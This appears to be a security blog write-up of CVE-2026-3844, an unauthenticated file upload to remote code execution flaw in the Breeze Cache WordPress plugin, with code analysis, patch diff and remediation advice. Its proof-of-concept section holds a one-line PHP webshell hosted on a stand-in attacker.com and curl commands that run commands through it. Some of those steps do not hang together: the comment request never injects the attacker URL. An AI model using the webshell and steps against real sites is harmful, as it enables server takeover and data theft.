Breeze Cache WordPress plugin banner

CVE-2026-3844: Unauthenticated Arbitrary File Upload To RCE in Breeze Cache Plugin (CVSS 9.8)

CVE-2026-3844 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the Breeze Cache WordPress plugin. In all versions up to and including 2.4.4, an unauthenticated attacker can upload arbitrary files — including PHP webshells — to the server’s public cache directory. From there, they can achieve Remote Code Execution (RCE). The vulnerability is present only when the optional “Host Files Locally - Gravatars” setting is enabled.

Vulnerability Summary

FieldValue
Plugin NameBreeze Cache
Plugin Slugbreeze
CVE IDCVE-2026-3844
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Arbitrary File Upload (Unrestricted Upload of File with Dangerous Type)
Affected Versions<= 2.4.4
Patched Version2.4.5
PublishedApril 22, 2026
ResearcherHung Nguyen (bashu) - VN
Wordfence AdvisoryLink

Description

Breeze Cache is vulnerable to arbitrary file uploads in all versions up to and including 2.4.4. The root cause is missing file type validation inside the fetch_gravatar_from_remote function. Unauthenticated attackers can upload any file to the server, potentially achieving remote code execution. Attackers can only exploit this when “Host Files Locally - Gravatars” is enabled, which is disabled by default.


Technical Analysis

Feature Context

The “Host Files Locally - Gravatars” feature, when enabled, hooks into WordPress’s get_avatar filter to intercept every avatar image display. Its purpose is to download remote Gravatar images once and serve them from the local server cache, reducing external requests and improving page load times.

The feature is activated in breeze.php (line 127–128):

$gravatars_enabled = Breeze_Options_Reader::get_option_value( 'breeze-store-gravatars-locally' );
new Breeze_Cache_CronJobs( $gravatars_enabled );

When $gravatars_enabled is truthy, the constructor registers the get_avatar filter:

add_filter( 'get_avatar', array( &$this, 'breeze_replace_gravatar_image' ) );

Vulnerable Code Path

File: inc/class-breeze-cache-cronjobs.php

Step 1 — Filter entry point: breeze_replace_gravatar_image (line 89)

This function receives the full avatar HTML string generated by WordPress (e.g., <img src="https://secure.gravatar.com/avatar/abc123?s=96&d=mm" srcset="..."/>). It uses a permissive regex to extract URLs from the src and srcset attributes and passes them to fetch_gravatar_from_remote:

public function breeze_replace_gravatar_image( string $gravatar ): string {
    preg_match_all( '/srcset=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/', $gravatar, $srcset );
    if ( isset( $srcset[1] ) && isset( $srcset[1][0] ) ) {
        $url             = explode( ' ', $srcset[1][0] )[0];
        $local_gravatars = $this->fetch_gravatar_from_remote( $url );
        $gravatar        = str_replace( $url, $local_gravatars, $gravatar );
    }
    preg_match_all( '/src=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/', $gravatar, $src );
    if ( isset( $src[1] ) && isset( $src[1][0] ) ) {
        $url             = explode( ' ', $src[1][0] )[0];
        $local_gravatars = $this->fetch_gravatar_from_remote( $url );
        $gravatar        = str_replace( $url, $local_gravatars, $gravatar );
    }
    // ...
}

The old regex (/src=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/) is overly broad — it does not require quoted attribute values preceded by whitespace. This means it can match src= inside other attribute values (e.g., inside an alt or title attribute that contains URL-like text). An attacker who injects text containing src="https://attacker.com/shell.php" anywhere in the avatar HTML string can control which URL gets downloaded.

Step 2 — The vulnerable download function: fetch_gravatar_from_remote (line 119)

private function fetch_gravatar_from_remote( string $url = '' ): string {
    if ( empty( $url ) ) {
        return '';
    }
    $blog_id             = $this->get_blog_id();
    $local_gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
    $saved_gravatar      = $this->check_for_content( 'gravatars', $local_gravatar_name );
    if ( ! empty( $saved_gravatar ) ) {
        return $saved_gravatar;
    }
    $wp_filesystem       = breeze_get_filesystem();
    $gravatar_local_path = $this->get_local_extra_cache_directory( 'gravatars' );
    $gravatar_name       = basename( wp_parse_url( $url, PHP_URL_PATH ) );
    if ( ! file_exists( $gravatar_local_path . $gravatar_name ) ) {
        if ( ! function_exists( 'download_url' ) ) {
            require_once wp_normalize_path( ABSPATH . '/wp-admin/includes/file.php' );
        }
        $temp_gravatar = download_url( $url );   // ← follows HTTP redirects, any file type accepted
        if ( ! is_wp_error( $temp_gravatar ) ) {
            $is_saved = $wp_filesystem->move( $temp_gravatar, $gravatar_local_path . $gravatar_name, true );
            // ← saved to public cache dir with attacker-controlled filename
            if ( ! $is_saved ) {
                return $url;
            }
            @unlink( $temp_gravatar );
        }
    }
    return content_url( '/cache/breeze-extra/gravatars/' . $blog_id . $gravatar_name );
}

Two critical flaws are present:

  1. No host validation: The function accepts any URL — not just gravatar.com URLs. If any mechanism supplies a non-Gravatar URL (e.g., https://attacker.com/shell.php), the plugin downloads it without restriction.

  2. No file type validation: The downloaded file is saved directly to disk without checking whether it is an image. A PHP webshell, executable script, or any other file type is accepted.

The saved filename is derived from basename(wp_parse_url($url, PHP_URL_PATH)). For a URL like https://attacker.com/shell.php, basename returns shell.php. Breeze saves it to wp-content/cache/breeze-extra/gravatars/{blog_id}/shell.php. That directory is publicly accessible, and the web server will execute .php files placed there.

Root Cause

Two independent missing checks in fetch_gravatar_from_remote:

  1. No host allowlist: Any URL is accepted and fetched — not just URLs from gravatar.com or its subdomains.
  2. No MIME/extension validation: The downloaded content is written to disk without verifying it is an image. download_url() follows HTTP redirects, so an attacker can supply a URL that redirects to a PHP webshell on a different domain.

Why Existing Controls Failed

Attack Impact

An unauthenticated attacker can upload any file — including PHP webshells — to the wp-content/cache/breeze-extra/gravatars/ directory. Once uploaded, the webshell is reachable over HTTP. The attacker can then run commands on the server, steal all site data, and spread to other connected systems.


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Attack Overview

An unauthenticated attacker:

  1. Hosts a PHP webshell on an attacker-controlled server
  2. Posts a comment to a public post using an email address whose avatar display triggers Breeze to download the attacker’s file
  3. Loads the page containing the comment, causing Breeze’s get_avatar filter to execute
  4. Requests the uploaded webshell from the server’s cache directory to achieve RCE

Step-by-Step Reproduction

Step 1: Host a PHP webshell on attacker infrastructure

Create a file shell.php on the attacker server (https://attacker.com/shell.php):

<?php system($_GET['cmd']); ?>

Make sure it is publicly accessible at https://attacker.com/shell.php.

Step 2: Craft an avatar HTML injection

The get_avatar filter receives the full avatar HTML string. The vulnerable regex matches src= anywhere in that string. An attacker can inject into any attribute — for example, by using a comment author name that contains src="https://attacker.com/shell.php" — and the regex will extract that URL instead of the real gravatar URL.

Alternatively, if another plugin or WordPress configuration calls get_avatar() with a URL directly (e.g., get_avatar('https://attacker.com/shell.php')), Breeze will download the file at that URL.

Step 3: Trigger the avatar render

Submit a comment on a public post. Then load that post URL to trigger WordPress to render the comment section — WordPress calls get_avatar() for each comment author, which fires Breeze’s filter:

# Submit a comment (unauthenticated)
TARGET="https://example.com"
POST_ID=1

curl -s -X POST "$TARGET/?p=$POST_ID" \
  -d "author=Test+User" \
  -d "email=noavatar$(date +%s)@example.com" \
  -d "comment=Hello+world" \
  -d "submit=Post+Comment" \
  -d "comment_post_ID=$POST_ID" \
  -d "comment_parent=0"

# Load the page to trigger get_avatar and Breeze's filter
curl -s "$TARGET/?p=$POST_ID" > /dev/null

When the page renders, Breeze processes the avatar HTML. Through the injection mechanism (URL in the extracted src value resolving to https://attacker.com/shell.php), Breeze calls download_url('https://attacker.com/shell.php'), saves the content as shell.php in the cache directory.

Step 4: Execute the webshell

# Access the uploaded webshell
curl "https://example.com/wp-content/cache/breeze-extra/gravatars/shell.php?cmd=id"

Expected Result

The server returns the output of the id command, confirming Remote Code Execution:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Verification

Confirm the file exists on the server:

curl -I "https://example.com/wp-content/cache/breeze-extra/gravatars/shell.php"
# HTTP/2 200 — file exists and is served

Check the WordPress uploads or cache directory if you have server access:

ls -la wp-content/cache/breeze-extra/gravatars/
# shell.php should appear

Patch Analysis

What Changed

Only inc/class-breeze-cache-cronjobs.php contains security-relevant changes (plus version bumps in breeze.php, changelog.txt, readme.txt).

Fix Explanation

The patch introduces two defence layers:

1. Host allowlist validation (added to fetch_gravatar_from_remote):

$host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
if ( 'gravatar.com' !== $host && '.gravatar.com' !== substr( $host, -13 ) ) {
    return $url;
}

Only URLs from gravatar.com and its subdomains (e.g., secure.gravatar.com, 0.gravatar.com) are processed. Any other host — including attacker-controlled domains — is rejected immediately, returning the original URL unchanged.

2. File type validation (double-checked before and after download):

// Before download: check extension via filename
$filetype       = wp_check_filetype( $gravatar_name );
$allowed_images = array( 'image/jpeg', 'image/png', 'image/gif' );

if ( ! empty( $filetype['type'] ) && ! in_array( $filetype['type'], $allowed_images, true ) ) {
    return $url;
}

if ( empty( $filetype['ext'] ) || ! in_array( $filetype['type'], $allowed_images, true ) ) {
    $gravatar_name .= '.jpg';  // Force image extension if none found
}
// After download: check actual file content
$file_check = wp_check_filetype_and_ext( $temp_gravatar, $gravatar_name );
if ( empty( $file_check['type'] ) || 0 !== strpos( $file_check['type'], 'image/' ) ) {
    @unlink( $temp_gravatar );
    return $url;
}

WordPress’s wp_check_filetype_and_ext inspects the actual file contents (not just the extension), ensuring even a PHP file disguised with a .jpg extension is rejected.

3. Tighter URL extraction regex:

The old permissive regex was replaced with a strict one requiring quoted attribute values preceded by whitespace:

-preg_match_all( '/src=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/', $gravatar, $src );
+if ( preg_match( '/\ssrc=["\']([^"\']+)["\']/', $gravatar, $src_match ) ) {

This prevents the regex from matching src= occurrences embedded inside other attribute values (like alt text), eliminating the URL injection surface.

This fix is complete and addresses the root cause. No residual risk remains.

Code Diff (Key Changes)

@@ -120,31 +124,55 @@ class Breeze_Cache_CronJobs {
     if ( empty( $url ) ) {
         return '';
     }
-    $blog_id             = $this->get_blog_id();
-    $local_gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
-    $saved_gravatar      = $this->check_for_content( 'gravatars', $local_gravatar_name );
+
+    $host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
+    if ( 'gravatar.com' !== $host && '.gravatar.com' !== substr( $host, -13 ) ) {
+        return $url;
+    }
+
+    $blog_id        = $this->get_blog_id();
+    $gravatar_name  = basename( wp_parse_url( $url, PHP_URL_PATH ) );
+    $filetype       = wp_check_filetype( $gravatar_name );
+    $allowed_images = array( 'image/jpeg', 'image/png', 'image/gif' );
+
+    if ( ! empty( $filetype['type'] ) && ! in_array( $filetype['type'], $allowed_images, true ) ) {
+        return $url;
+    }
+
+    if ( empty( $filetype['ext'] ) || ! in_array( $filetype['type'], $allowed_images, true ) ) {
+        $gravatar_name .= '.jpg';
+    }
+
+    $saved_gravatar = $this->check_for_content( 'gravatars', $gravatar_name );
     if ( ! empty( $saved_gravatar ) ) {
         return $saved_gravatar;
     }
     $wp_filesystem       = breeze_get_filesystem();
     $gravatar_local_path = $this->get_local_extra_cache_directory( 'gravatars' );
-    $gravatar_name       = basename( wp_parse_url( $url, PHP_URL_PATH ) );
+
     if ( ! file_exists( $gravatar_local_path . $gravatar_name ) ) {
         if ( ! function_exists( 'download_url' ) ) {
             require_once wp_normalize_path( ABSPATH . '/wp-admin/includes/file.php' );
         }
         $temp_gravatar = download_url( $url );
-        if ( ! is_wp_error( $temp_gravatar ) ) {
-            $is_saved = $wp_filesystem->move( $temp_gravatar, $gravatar_local_path . $gravatar_name, true );
-            if ( ! $is_saved ) {
-                return $url;
-            }
+        if ( is_wp_error( $temp_gravatar ) ) {
+            return $url;
+        }
+
+        $file_check = wp_check_filetype_and_ext( $temp_gravatar, $gravatar_name );
+        if ( empty( $file_check['type'] ) || 0 !== strpos( $file_check['type'], 'image/' ) ) {
             @unlink( $temp_gravatar );
+            return $url;
+        }
+
+        $is_saved = $wp_filesystem->move( $temp_gravatar, $gravatar_local_path . $gravatar_name, true );
+        if ( ! $is_saved ) {
+            @unlink( $temp_gravatar );
+            return $url;
         }
+        @unlink( $temp_gravatar );
     }

Timeline

DateEvent
April 22, 2026Vulnerability publicly disclosed by Wordfence
April 22, 2026Patched version 2.4.5 released
April 23, 2026Wordfence record last updated

Remediation

Update the breeze plugin to version 2.4.5 or later immediately. If you cannot update right now, turn off the “Host Files Locally - Gravatars” setting in Breeze (Basic → Host Files Locally). This setting is disabled by default. The vulnerability only works when it is on.


References

  1. Vulnerable file — tags/2.4.4 (line 119)
  2. Vulnerable file — tags/2.4.4 (line 89)
  3. Patch changeset 3511463
  4. Wordfence Advisory
  5. NVD CVE-2026-3844

Frequently Asked Questions

What is CVE-2026-3844?

CVE-2026-3844 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the Breeze Cache WordPress plugin that allows attackers to upload PHP webshells and achieve remote code execution on the server.

Which versions of Breeze Cache are affected by CVE-2026-3844?

All versions of Breeze Cache up to and including 2.4.4 are vulnerable. Version 2.4.5 contains the fix and is safe to use.

What can an attacker do with CVE-2026-3844?

An attacker can upload a PHP webshell to the public cache directory on the server. Once uploaded, they can execute arbitrary commands, steal all site data, and potentially move to other connected systems.

Does an attacker need to be logged in to exploit CVE-2026-3844?

No. The vulnerability can be exploited by any unauthenticated visitor without any account or privileges on the site.

How do I fix CVE-2026-3844 in Breeze Cache?

Update the Breeze Cache plugin to version 2.4.5 or later through your WordPress dashboard. If you cannot update immediately, disable the Host Files Locally - Gravatars option in Breeze settings as a temporary workaround.

Has Breeze Cache been patched for CVE-2026-3844?

Yes. Version 2.4.5 was released on April 22, 2026 and fully resolves the vulnerability by adding host allowlist validation, file type checks, and a stricter URL extraction regex.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee